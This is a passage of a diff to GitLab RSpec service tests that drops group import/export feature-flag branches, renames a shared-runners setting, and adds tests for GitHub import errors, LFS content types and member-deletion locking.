--- a/spec/services/groups/import_export/export_service_spec.rb
+++ b/spec/services/groups/import_export/export_service_spec.rb
@@ -56,21 +56,11 @@ RSpec.describe Groups::ImportExport::ExportService do
end
it 'saves the models using ndjson tree saver' do
- stub_feature_flags(group_export_ndjson: true)
-
expect(Gitlab::ImportExport::Group::TreeSaver).to receive(:new).and_call_original
service.execute
end
- it 'saves the models using legacy tree saver' do
- stub_feature_flags(group_export_ndjson: false)
-
- expect(Gitlab::ImportExport::Group::LegacyTreeSaver).to receive(:new).and_call_original
-
- service.execute
- end
-
it 'compresses and removes tmp files' do
expect(group.import_export_upload).to be_nil
expect(Gitlab::ImportExport::Saver).to receive(:new).and_call_original
diff --git a/spec/services/groups/import_export/import_service_spec.rb b/spec/services/groups/import_export/import_service_spec.rb
index d41acbcc2de..972b12d7ee5 100644
--- a/spec/services/groups/import_export/import_service_spec.rb
+++ b/spec/services/groups/import_export/import_service_spec.rb
@@ -59,32 +59,32 @@ RSpec.describe Groups::ImportExport::ImportService do
end
end
- context 'with group_import_ndjson feature flag disabled' do
+ context 'when importing a ndjson export' do
let(:user) { create(:user) }
let(:group) { create(:group) }
+ let(:import_file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
+
let(:import_logger) { instance_double(Gitlab::Import::Logger) }
subject(:service) { described_class.new(group: group, user: user) }
before do
- stub_feature_flags(group_import_ndjson: false)
-
- group.add_owner(user)
-
ImportExportUpload.create!(group: group, import_file: import_file)
allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
allow(import_logger).to receive(:error)
allow(import_logger).to receive(:info)
+ allow(import_logger).to receive(:warn)
+ allow(FileUtils).to receive(:rm_rf).and_call_original
end
- context 'with a json file' do
- let(:import_file) { fixture_file_upload('spec/fixtures/legacy_group_export.tar.gz') }
-
- it 'uses LegacyTreeRestorer to import the file' do
- expect(Gitlab::ImportExport::Group::LegacyTreeRestorer).to receive(:new).and_call_original
+ context 'when user has correct permissions' do
+ before do
+ group.add_owner(user)
+ end
- service.execute
+ it 'imports group structure successfully' do
+ expect(service.execute).to be_truthy
end
it 'tracks the event' do
@@ -95,317 +95,151 @@ RSpec.describe Groups::ImportExport::ImportService do
action: 'create',
label: 'import_group_from_file'
)
- end
- end
-
- context 'with a ndjson file' do
- let(:import_file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
- it 'fails to import' do
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error, 'Incorrect JSON format')
+ expect_snowplow_event(
+ category: 'Groups::ImportExport::ImportService',
+ action: 'create',
+ label: 'import_access_level',
+ user: user,
+ extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
+ )
end
- end
- end
-
- context 'with group_import_ndjson feature flag enabled' do
- before do
- stub_feature_flags(group_import_ndjson: true)
- end
-
- context 'when importing a ndjson export' do
- let(:user) { create(:user) }
- let(:group) { create(:group) }
- let(:import_file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
- let(:import_logger) { instance_double(Gitlab::Import::Logger) }
-
- subject(:service) { described_class.new(group: group, user: user) }
-
- before do
- ImportExportUpload.create!(group: group, import_file: import_file)
+ it 'removes import file' do
+ service.execute
- allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
- allow(import_logger).to receive(:error)
- allow(import_logger).to receive(:info)
- allow(import_logger).to receive(:warn)
- allow(FileUtils).to receive(:rm_rf).and_call_original
+ expect(group.import_export_upload.import_file.file).to be_nil
end
- context 'when user has correct permissions' do
- before do
- group.add_owner(user)
- end
+ it 'removes tmp files' do
+ shared = Gitlab::ImportExport::Shared.new(group)
+ allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
- it 'imports group structure successfully' do
- expect(service.execute).to be_truthy
- end
-
- it 'tracks the event' do
- service.execute
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_group_from_file'
- )
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_access_level',
- user: user,
- extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
- )
- end
-
- it 'removes import file' do
- service.execute
-
- expect(group.import_export_upload.import_file.file).to be_nil
- end
-
- it 'removes tmp files' do
- shared = Gitlab::ImportExport::Shared.new(group)
- allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
-
- service.execute
-
- expect(FileUtils).to have_received(:rm_rf).with(shared.base_path)
- expect(Dir.exist?(shared.base_path)).to eq(false)
- end
-
- it 'logs the import success' do
- expect(import_logger).to receive(:info).with(
- group_id: group.id,
- group_name: group.name,
- message: 'Group Import/Export: Import succeeded'
- ).once
+ service.execute
- service.execute
- end
+ expect(FileUtils).to have_received(:rm_rf).with(shared.base_path)
+ expect(Dir.exist?(shared.base_path)).to eq(false)
end
- context 'when user does not have correct permissions' do
- it 'logs the error and raises an exception' do
- expect(import_logger).to receive(:error).with(
- group_id: group.id,
- group_name: group.name,
- message: a_string_including('Errors occurred')
- )
+ it 'logs the import success' do
+ expect(import_logger).to receive(:info).with(
+ group_id: group.id,
+ group_name: group.name,
+ message: 'Group Import/Export: Import succeeded'
+ ).once
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
-
- it 'tracks the error' do
- shared = Gitlab::ImportExport::Shared.new(group)
- allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
-
- expect(shared).to receive(:error) do |param|
- expect(param.message).to include 'does not have required permissions for'
- end
-
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
+ service.execute
end
+ end
- context 'when there are errors with the import file' do
- let(:import_file) { fixture_file_upload('spec/fixtures/symlink_export.tar.gz') }
-
- it 'logs the error and raises an exception' do
- expect(import_logger).to receive(:error).with(
- group_id: group.id,
- group_name: group.name,
- message: a_string_including('Errors occurred')
- ).once
+ context 'when user does not have correct permissions' do
+ it 'logs the error and raises an exception' do
+ expect(import_logger).to receive(:error).with(
+ group_id: group.id,
+ group_name: group.name,
+ message: a_string_including('Errors occurred')
+ )
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
+ expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
end
- context 'when there are errors with the sub-relations' do
- let(:import_file) { fixture_file_upload('spec/fixtures/group_export_invalid_subrelations.tar.gz') }
+ it 'tracks the error' do
+ shared = Gitlab::ImportExport::Shared.new(group)
+ allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
- before do
- group.add_owner(user)
+ expect(shared).to receive(:error) do |param|
+ expect(param.message).to include 'does not have required permissions for'
end
- it 'successfully imports the group' do
- expect(service.execute).to be_truthy
- end
-
- it 'logs the import success' do
- allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
+ expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
+ end
+ end
- expect(import_logger).to receive(:info).with(
- group_id: group.id,
- group_name: group.name,
- message: 'Group Import/Export: Import succeeded'
- )
+ context 'when there are errors with the import file' do
+ let(:import_file) { fixture_file_upload('spec/fixtures/symlink_export.tar.gz') }
- service.execute
+ it 'logs the error and raises an exception' do
+ expect(import_logger).to receive(:error).with(
+ group_id: group.id,
+ group_name: group.name,
+ message: a_string_including('Errors occurred')
+ ).once
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_access_level',
- user: user,
- extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
- )
- end
+ expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
end
end
- context 'when importing a json export' do
- let(:user) { create(:user) }
- let(:group) { create(:group) }
- let(:import_file) { fixture_file_upload('spec/fixtures/legacy_group_export.tar.gz') }
-
- let(:import_logger) { instance_double(Gitlab::Import::Logger) }
-
- subject(:service) { described_class.new(group: group, user: user) }
+ context 'when there are errors with the sub-relations' do
+ let(:import_file) { fixture_file_upload('spec/fixtures/group_export_invalid_subrelations.tar.gz') }
before do
- ImportExportUpload.create!(group: group, import_file: import_file)
-
- allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
- allow(import_logger).to receive(:error)
- allow(import_logger).to receive(:warn)
- allow(import_logger).to receive(:info)
- allow(FileUtils).to receive(:rm_rf).and_call_original
+ group.add_owner(user)
end
- context 'when user has correct permissions' do
- before do
- group.add_owner(user)
- end
-
- it 'imports group structure successfully' do
- expect(service.execute).to be_truthy
- end
-
- it 'tracks the event' do
- service.execute
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_group_from_file'
- )
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_access_level',
- user: user,
- extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
- )
- end
-
- it 'removes import file' do
- service.execute
-
- expect(group.import_export_upload.import_file.file).to be_nil
- end
-
- it 'removes tmp files' do
- shared = Gitlab::ImportExport::Shared.new(group)
- allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
-
- service.execute
-
- expect(FileUtils).to have_received(:rm_rf).with(shared.base_path)
- expect(Dir.exist?(shared.base_path)).to eq(false)
- end
-
- it 'logs the import success' do
- expect(import_logger).to receive(:info).with(
- group_id: group.id,
- group_name: group.name,
- message: 'Group Import/Export: Import succeeded'
- ).once
-
- service.execute
- end
+ it 'successfully imports the group' do
+ expect(service.execute).to be_truthy
end
- context 'when user does not have correct permissions' do
- it 'logs the error and raises an exception' do
- expect(import_logger).to receive(:error).with(
- group_id: group.id,
- group_name: group.name,
- message: a_string_including('Errors occurred')
- )
-
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
+ it 'logs the import success' do
+ allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
- it 'tracks the error' do
- shared = Gitlab::ImportExport::Shared.new(group)
- allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
+ expect(import_logger).to receive(:info).with(
+ group_id: group.id,
+ group_name: group.name,
+ message: 'Group Import/Export: Import succeeded'
+ )
- expect(shared).to receive(:error) do |param|
- expect(param.message).to include 'does not have required permissions for'
- end
+ service.execute
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
+ expect_snowplow_event(
+ category: 'Groups::ImportExport::ImportService',
+ action: 'create',
+ label: 'import_access_level',
+ user: user,
+ extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
+ )
end
+ end
+ end
- context 'when there are errors with the import file' do
- let(:import_file) { fixture_file_upload('spec/fixtures/legacy_symlink_export.tar.gz') }
-
- it 'logs the error and raises an exception' do
- expect(import_logger).to receive(:error).with(
- group_id: group.id,
- group_name: group.name,
- message: a_string_including('Errors occurred')
- ).once
+ context 'when importing a json export' do
+ let(:user) { create(:user) }
+ let(:group) { create(:group) }
+ let(:import_file) { fixture_file_upload('spec/fixtures/legacy_group_export.tar.gz') }
- expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
- end
- end
+ let(:import_logger) { instance_double(Gitlab::Import::Logger) }
- context 'when there are errors with the sub-relations' do
- let(:import_file) { fixture_file_upload('spec/fixtures/legacy_group_export_invalid_subrelations.tar.gz') }
+ subject(:service) { described_class.new(group: group, user: user) }
- before do
- group.add_owner(user)
- end
+ before do
+ group.add_owner(user)
+ ImportExportUpload.create!(group: group, import_file: import_file)
- it 'successfully imports the group' do
- expect(service.execute).to be_truthy
- end
+ allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
+ allow(import_logger).to receive(:error)
+ allow(import_logger).to receive(:warn)
+ allow(import_logger).to receive(:info)
+ end
- it 'tracks the event' do
- service.execute
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_group_from_file'
- )
-
- expect_snowplow_event(
- category: 'Groups::ImportExport::ImportService',
- action: 'create',
- label: 'import_access_level',
- user: user,
- extra: { user_role: 'Owner', import_type: 'import_group_from_file' }
- )
- end
+ it 'logs the error and raises an exception' do
+ expect(import_logger).to receive(:error).with(
+ group_id: group.id,
+ group_name: group.name,
+ message: a_string_including('Errors occurred')
+ ).once
- it 'logs the import success' do
- allow(Gitlab::Import::Logger).to receive(:build).and_return(import_logger)
+ expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
+ end
- expect(import_logger).to receive(:info).with(
- group_id: group.id,
- group_name: group.name,
- message: 'Group Import/Export: Import succeeded'
- )
+ it 'tracks the error' do
+ shared = Gitlab::ImportExport::Shared.new(group)
+ allow(Gitlab::ImportExport::Shared).to receive(:new).and_return(shared)
- service.execute
- end
+ expect(shared).to receive(:error) do |param|
+ expect(param.message).to include 'The import file is incompatible'
end
+
+ expect { service.execute }.to raise_error(Gitlab::ImportExport::Error)
end
end
end
diff --git a/spec/services/groups/transfer_service_spec.rb b/spec/services/groups/transfer_service_spec.rb
index 3cf2c875341..10399bed655 100644
--- a/spec/services/groups/transfer_service_spec.rb
+++ b/spec/services/groups/transfer_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Groups::TransferService, :sidekiq_inline do
+RSpec.describe Groups::TransferService, :sidekiq_inline, feature_category: :subgroups do
shared_examples 'project namespace path is in sync with project path' do
it 'keeps project and project namespace attributes in sync' do
projects_with_project_namespace.each do |project|
@@ -364,7 +364,7 @@ RSpec.describe Groups::TransferService, :sidekiq_inline do
let(:new_parent_group) { create(:group, shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: true) }
it 'calls update service' do
- expect(Groups::UpdateSharedRunnersService).to receive(:new).with(group, user, { shared_runners_setting: Namespace::SR_DISABLED_WITH_OVERRIDE }).and_call_original
+ expect(Groups::UpdateSharedRunnersService).to receive(:new).with(group, user, { shared_runners_setting: Namespace::SR_DISABLED_AND_OVERRIDABLE }).and_call_original
transfer_service.execute(new_parent_group)
end
@@ -1005,5 +1005,38 @@ RSpec.describe Groups::TransferService, :sidekiq_inline do
end
end
end
+
+ context 'with namespace_commit_emails concerns' do
+ let_it_be(:group, reload: true) { create(:group) }
+ let_it_be(:target) { create(:group) }
+
+ before do
+ group.add_owner(user)
+ target.add_owner(user)
+ end
+
+ context 'when origin is a root group' do
+ before do
+ create_list(:namespace_commit_email, 2, namespace: group)
+ end
+
+ it 'deletes all namespace_commit_emails' do
+ expect { transfer_service.execute(target) }
+ .to change { group.namespace_commit_emails.count }.by(-2)
+ end
+
+ it_behaves_like 'publishes a GroupTransferedEvent'
+ end
+
+ context 'when origin is not a root group' do
+ let(:group) { create(:group, parent: create(:group)) }
+
+ it 'does not attempt to delete namespace_commit_emails' do
+ expect(Users::NamespaceCommitEmail).not_to receive(:delete_for_namespace)
+
+ transfer_service.execute(target)
+ end
+ end
+ end
end
end
diff --git a/spec/services/groups/update_shared_runners_service_spec.rb b/spec/services/groups/update_shared_runners_service_spec.rb
index 98eccedeace..a29f73a71c2 100644
--- a/spec/services/groups/update_shared_runners_service_spec.rb
+++ b/spec/services/groups/update_shared_runners_service_spec.rb
@@ -114,13 +114,13 @@ RSpec.describe Groups::UpdateSharedRunnersService do
end
context 'allow descendants to override' do
- let(:params) { { shared_runners_setting: Namespace::SR_DISABLED_WITH_OVERRIDE } }
+ let(:params) { { shared_runners_setting: Namespace::SR_DISABLED_AND_OVERRIDABLE } }
context 'top level group' do
let_it_be(:group) { create(:group, :shared_runners_disabled) }
it 'receives correct method and succeeds' do
- expect(group).to receive(:update_shared_runners_setting!).with(Namespace::SR_DISABLED_WITH_OVERRIDE)
+ expect(group).to receive(:update_shared_runners_setting!).with(Namespace::SR_DISABLED_AND_OVERRIDABLE)
expect(subject[:status]).to eq(:success)
end
@@ -135,6 +135,30 @@ RSpec.describe Groups::UpdateSharedRunnersService do
expect(subject[:message]).to eq('Validation failed: Allow descendants override disabled shared runners cannot be enabled because parent group does not allow it')
end
end
+
+ context 'when using DISABLED_WITH_OVERRIDE (deprecated)' do
+ let(:params) { { shared_runners_setting: Namespace::SR_DISABLED_WITH_OVERRIDE } }
+
+ context 'top level group' do
+ let_it_be(:group) { create(:group, :shared_runners_disabled) }
+
+ it 'receives correct method and succeeds' do
+ expect(group).to receive(:update_shared_runners_setting!).with(Namespace::SR_DISABLED_WITH_OVERRIDE)
+
+ expect(subject[:status]).to eq(:success)
+ end
+ end
+
+ context 'when parent does not allow' do
+ let_it_be(:parent) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false) }
+ let_it_be(:group) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false, parent: parent) }
+
+ it 'results error' do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:message]).to eq('Validation failed: Allow descendants override disabled shared runners cannot be enabled because parent group does not allow it')
+ end
+ end
+ end
end
end
end
diff --git a/spec/services/ide/schemas_config_service_spec.rb b/spec/services/ide/schemas_config_service_spec.rb
index 69ad9b5cbea..f277b8e9954 100644
--- a/spec/services/ide/schemas_config_service_spec.rb
+++ b/spec/services/ide/schemas_config_service_spec.rb
@@ -20,35 +20,21 @@ RSpec.describe Ide::SchemasConfigService do
subject { described_class.new(project, user, filename: filename).execute }
- context 'feature flag schema_linting is enabled', unless: Gitlab.ee? do
- before do
- stub_feature_flags(schema_linting: true)
- end
-
- context 'when no predefined schema exists for the given filename' do
- it 'returns an empty object' do
- is_expected.to include(
- status: :success,
- schema: {})
- end
- end
-
- context 'when a predefined schema exists for the given filename' do
- let(:filename) { '.gitlab-ci.yml' }
-
- it 'uses predefined schema matches' do
- expect(Gitlab::HTTP).to receive(:get).with('https://json.schemastore.org/gitlab-ci')
- expect(subject[:schema]['title']).to eq "Sample schema"
- end
- end
- end
-
- context 'feature flag schema_linting is disabled', unless: Gitlab.ee? do
+ context 'when no predefined schema exists for the given filename', unless: Gitlab.ee? do
it 'returns an empty object' do
is_expected.to include(
status: :success,
schema: {})
end
end
+
+ context 'when a predefined schema exists for the given filename' do
+ let(:filename) { '.gitlab-ci.yml' }
+
+ it 'uses predefined schema matches' do
+ expect(Gitlab::HTTP).to receive(:get).with('https://json.schemastore.org/gitlab-ci')
+ expect(subject[:schema]['title']).to eq "Sample schema"
+ end
+ end
end
end
diff --git a/spec/services/import/github/gists_import_service_spec.rb b/spec/services/import/github/gists_import_service_spec.rb
index c5d73e6479d..32d04a580da 100644
--- a/spec/services/import/github/gists_import_service_spec.rb
+++ b/spec/services/import/github/gists_import_service_spec.rb
@@ -2,16 +2,19 @@
require 'spec_helper'
-RSpec.describe Import::Github::GistsImportService, feature_category: :importer do
- subject(:import) { described_class.new(user, params) }
+RSpec.describe Import::Github::GistsImportService, feature_category: :importers do
+ subject(:import) { described_class.new(user, client, params) }
let_it_be(:user) { create(:user) }
let(:params) { { github_access_token: 'token' } }
let(:import_status) { instance_double('Gitlab::GithubGistsImport::Status') }
+ let(:client) { Gitlab::GithubImport::Client.new(params[:github_access_token]) }
+ let(:octokit_user) { { login: 'user_login' } }
describe '#execute', :aggregate_failures do
before do
allow(Gitlab::GithubGistsImport::Status).to receive(:new).and_return(import_status)
+ allow(client.octokit).to receive(:user).and_return(octokit_user)
end
context 'when import in progress' do
@@ -43,5 +46,24 @@ RSpec.describe Import::Github::GistsImportService, feature_category: :importer d
expect(import.execute).to eq({ status: :success })
end
end
+
+ context 'when user token is invalid' do
+ before do
+ allow(client.octokit).to receive(:user).and_raise(Octokit::Unauthorized)
+ allow(import_status).to receive(:started?).and_return(false)
+ end
+
+ let(:expected_result) do
+ {
+ http_status: 401,
+ message: 'Access denied to the GitHub account.',
+ status: :error
+ }
+ end
+
+ it 'returns 401 error' do
+ expect(import.execute).to eq(expected_result)
+ end
+ end
end
end
diff --git a/spec/services/import/github_service_spec.rb b/spec/services/import/github_service_spec.rb
index d1b372c5e87..293e247c140 100644
--- a/spec/services/import/github_service_spec.rb
+++ b/spec/services/import/github_service_spec.rb
@@ -7,22 +7,19 @@ RSpec.describe Import::GithubService do
let_it_be(:token) { 'complex-token' }
let_it_be(:access_params) { { github_access_token: 'github-complex-token' } }
let(:settings) { instance_double(Gitlab::GithubImport::Settings) }
+ let(:user_namespace_path) { user.namespace_path }
let(:optional_stages) { nil }
let(:params) do
{
repo_id: 123,
new_name: 'new_repo',
- target_namespace: 'root',
+ target_namespace: user_namespace_path,
optional_stages: optional_stages
}
end
subject(:github_importer) { described_class.new(client, user, params) }
- before do
- allow(subject).to receive(:authorized?).and_return(true)
- end
-
shared_examples 'handles errors' do |klass|
let(:client) { klass.new(token) }
let(:project_double) { instance_double(Project, persisted?: true) }
@@ -74,6 +71,7 @@ RSpec.describe Import::GithubService do
let(:repository_double) { { name: 'repository', size: 99 } }
before do
+ allow(subject).to receive(:authorized?).and_return(true)
expect(client).to receive(:repository).and_return(repository_double)
allow_next_instance_of(Gitlab::LegacyGithubImport::ProjectCreator) do |creator|
@@ -215,6 +213,38 @@ RSpec.describe Import::GithubService do
end
end
end
+
+ context 'when target_namespace is blank' do
+ before do
+ params[:target_namespace] = ''
+ end
+
+ it 'raises an exception' do
+ expect { subject.execute(access_params, :github) }.to raise_error(ArgumentError, 'Target namespace is required')
+ end
+ end
+
+ context 'when namespace to import repository into does not exist' do
+ before do
+ params[:target_namespace] = 'unknown_path'
+ end
+
+ it 'returns an error' do
+ expect(github_importer.execute(access_params, :github)).to include(not_existed_namespace_error)
+ end
+ end
+
+ context 'when user has no permissions to import repository into the specified namespace' do
+ let_it_be(:group) { create(:group) }
+
+ before do
+ params[:target_namespace] = group.full_path
+ end
+
+ it 'returns an error' do
+ expect(github_importer.execute(access_params, :github)).to include(taken_namespace_error)
+ end
+ end
end
context 'when remove_legacy_github_client feature flag is enabled' do
@@ -248,4 +278,20 @@ RSpec.describe Import::GithubService do
message: "Invalid URL: #{url}"
}
end
+
+ def not_existed_namespace_error
+ {
+ status: :error,
+ http_status: :unprocessable_entity,
+ message: 'Namespace or group to import repository into does not exist.'
+ }
+ end
+
+ def taken_namespace_error
+ {
+ status: :error,
+ http_status: :unprocessable_entity,
+ message: 'This namespace has already been taken. Choose a different one.'
+ }
+ end
end
diff --git a/spec/services/issue_links/create_service_spec.rb b/spec/services/issue_links/create_service_spec.rb
index 88e8470658d..0629b8b091b 100644
--- a/spec/services/issue_links/create_service_spec.rb
+++ b/spec/services/issue_links/create_service_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe IssueLinks::CreateService do
let_it_be(:project) { create :project, namespace: namespace }
let_it_be(:issuable) { create :issue, project: project }
let_it_be(:issuable2) { create :issue, project: project }
- let_it_be(:guest_issuable) { create :issue }
+ let_it_be(:restricted_issuable) { create :issue }
let_it_be(:another_project) { create :project, namespace: project.namespace }
let_it_be(:issuable3) { create :issue, project: another_project }
let_it_be(:issuable_a) { create :issue, project: project }
@@ -23,7 +23,7 @@ RSpec.describe IssueLinks::CreateService do
before do
project.add_developer(user)
- guest_issuable.project.add_guest(user)
+ restricted_issuable.project.add_guest(user)
another_project.add_developer(user)
end
diff --git a/spec/services/issues/close_service_spec.rb b/spec/services/issues/close_service_spec.rb
index e6ad755f911..ef24d1e940e 100644
--- a/spec/services/issues/close_service_spec.rb
+++ b/spec/services/issues/close_service_spec.rb
@@ -140,7 +140,7 @@ RSpec.describe Issues::CloseService do
end
context 'when the escalation status did not change to resolved' do
- let(:escalation_status) { instance_double('IncidentManagement::IssuableEscalationStatus', resolve: false) }
+ let(:escalation_status) { instance_double('IncidentManagement::IssuableEscalationStatus', resolve: false, status_name: 'acknowledged') }
before do
allow(issue).to receive(:incident_management_issuable_escalation_status).and_return(escalation_status)
diff --git a/spec/services/issues/export_csv_service_spec.rb b/spec/services/issues/export_csv_service_spec.rb
index 66d017464bf..d3359447fd8 100644
--- a/spec/services/issues/export_csv_service_spec.rb
+++ b/spec/services/issues/export_csv_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Issues::ExportCsvService do
+RSpec.describe Issues::ExportCsvService, :with_license do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :public, group: group) }
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index 70fc6ffc38f..930766c520b 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -1168,6 +1168,7 @@ RSpec.describe Issues::UpdateService, :mailer do
it 'triggers webhooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :incident_hooks)
update_issue(opts)
end
@@ -1281,6 +1282,7 @@ RSpec.describe Issues::UpdateService, :mailer do
it 'triggers webhooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :incident_hooks)
update_issue(opts)
end
diff --git a/spec/services/lfs/file_transformer_spec.rb b/spec/services/lfs/file_transformer_spec.rb
index e87c80b4c6c..9d4d8851c2d 100644
--- a/spec/services/lfs/file_transformer_spec.rb
+++ b/spec/services/lfs/file_transformer_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe Lfs::FileTransformer do
+RSpec.describe Lfs::FileTransformer, feature_category: :git_lfs do
let(:project) { create(:project, :repository, :wiki_repo) }
let(:repository) { project.repository }
let(:file_content) { 'Test file content' }
@@ -13,6 +13,10 @@ RSpec.describe Lfs::FileTransformer do
describe '#new_file' do
context 'with lfs disabled' do
+ before do
+ allow(project).to receive(:lfs_enabled?).and_return(false)
+ end
+
it 'skips gitattributes check' do
expect(repository.raw).not_to receive(:blob_at)
@@ -98,6 +102,38 @@ RSpec.describe Lfs::FileTransformer do
expect(project.lfs_objects_projects.first.repository_type).to eq('design')
end
end
+
+ context 'when content type detection enabled' do
+ let(:detect_content_type) { true }
+
+ before do
+ allow(Gitlab::Utils::MimeType).to receive(:from_string).with(file_content).and_return(mime_type)
+ end
+
+ context 'when mime type detected' do
+ let(:mime_type) { 'image/tiff' }
+
+ it 'creates a file with custom content type' do
+ expect(CarrierWaveStringFile).to receive(:new_file).with({
+ file_content: file_content,
+ filename: anything,
+ content_type: mime_type
+ })
+
+ subject.new_file(file_path, file, detect_content_type: detect_content_type)
+ end
+ end
+
+ context 'when mime type not detected' do
+ let(:mime_type) { nil }
+
+ it 'creates a file with default content type' do
+ expect(CarrierWaveStringFile).to receive(:new).with(file_content)
+
+ subject.new_file(file_path, file, detect_content_type: detect_content_type)
+ end
+ end
+ end
end
context "when doesn't use LFS" do
diff --git a/spec/services/members/destroy_service_spec.rb b/spec/services/members/destroy_service_spec.rb
index d0f009f1321..d8a8d5881bf 100644
--- a/spec/services/members/destroy_service_spec.rb
+++ b/spec/services/members/destroy_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Members::DestroyService do
+RSpec.describe Members::DestroyService, feature_category: :subgroups do
let(:current_user) { create(:user) }
let(:member_user) { create(:user) }
let(:group) { create(:group, :public) }
@@ -100,32 +100,104 @@ RSpec.describe Members::DestroyService do
end
context 'With ExclusiveLeaseHelpers' do
+ include ExclusiveLeaseHelpers
+
+ let(:lock_key) do
+ "delete_members:#{member_to_delete.source.class}:#{member_to_delete.source.id}"
+ end
+
+ let(:timeout) { 1.minute }
let(:service_object) { described_class.new(current_user) }
- let!(:member) { group_project.add_developer(member_user) }
- subject(:destroy_member) { service_object.execute(member, **opts) }
+ subject(:destroy_member) { service_object.execute(member_to_delete, **opts) }
- before do
- group_project.add_maintainer(current_user)
+ shared_examples_for 'deletes the member without using a lock' do
+ it 'does not try to perform the delete within a lock' do
+ # `UpdateHighestRole` concern also uses locks to peform work
+ # whenever a Member is committed, so that needs to be accounted for.
+ lock_key_for_update_highest_role = "update_highest_role:#{member_to_delete.user_id}"
+ expect(Gitlab::ExclusiveLease)
+ .to receive(:new).with(lock_key_for_update_highest_role, timeout: 10.minutes.to_i).and_call_original
+
+ # We do not use any locks for member deletion process.
+ expect(Gitlab::ExclusiveLease)
+ .not_to receive(:new).with(lock_key, timeout: timeout)
- allow(service_object).to receive(:in_lock) do |_, &block|
- block.call if lock_obtained
+ destroy_member
+ end
+
+ it 'destroys the membership' do
+ expect { destroy_member }.to change { entity.members.count }.by(-1)
end
end
- context 'when lock is obtained' do
- let(:lock_obtained) { true }
+ context 'for group members' do
+ before do
+ group.add_owner(current_user)
+ end
+
+ context 'deleting group owners' do
+ let!(:member_to_delete) { group.add_owner(member_user) }
- it 'destroys the membership' do
- expect { destroy_member }.to change { group_project.members.count }.by(-1)
+ context 'locking to avoid race conditions' do
+ it 'tries to perform the delete within a lock' do
+ expect_to_obtain_exclusive_lease(lock_key, timeout: timeout)
+
+ destroy_member
+ end
+
+ context 'based on status of the lock' do
+ context 'when lock is obtained' do
+ it 'destroys the membership' do
+ expect_to_obtain_exclusive_lease(lock_key, timeout: timeout)
+
+ expect { destroy_member }.to change { group.members.count }.by(-1)
+ end
+ end
+
+ context 'when the lock cannot be obtained' do
+ before do
+ stub_exclusive_lease_taken(lock_key, timeout: timeout)
+ end
+
+ it 'raises error' do
+ expect { destroy_member }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
+ end
+ end
+ end
+ end
+ end
+
+ context 'deleting group members that are not owners' do
+ let!(:member_to_delete) { group.add_developer(member_user) }
+
+ it_behaves_like 'deletes the member without using a lock' do
+ let(:entity) { group }
+ end
end
end
- context 'when the lock can not be obtained' do
- let(:lock_obtained) { false }
+ context 'for project members' do
+ before do
+ group_project.add_owner(current_user)
+ end
+
+ context 'deleting project owners' do
+ context 'deleting project owners' do
+ let!(:member_to_delete) { entity.add_owner(member_user) }
- it 'does not destroy the membership' do
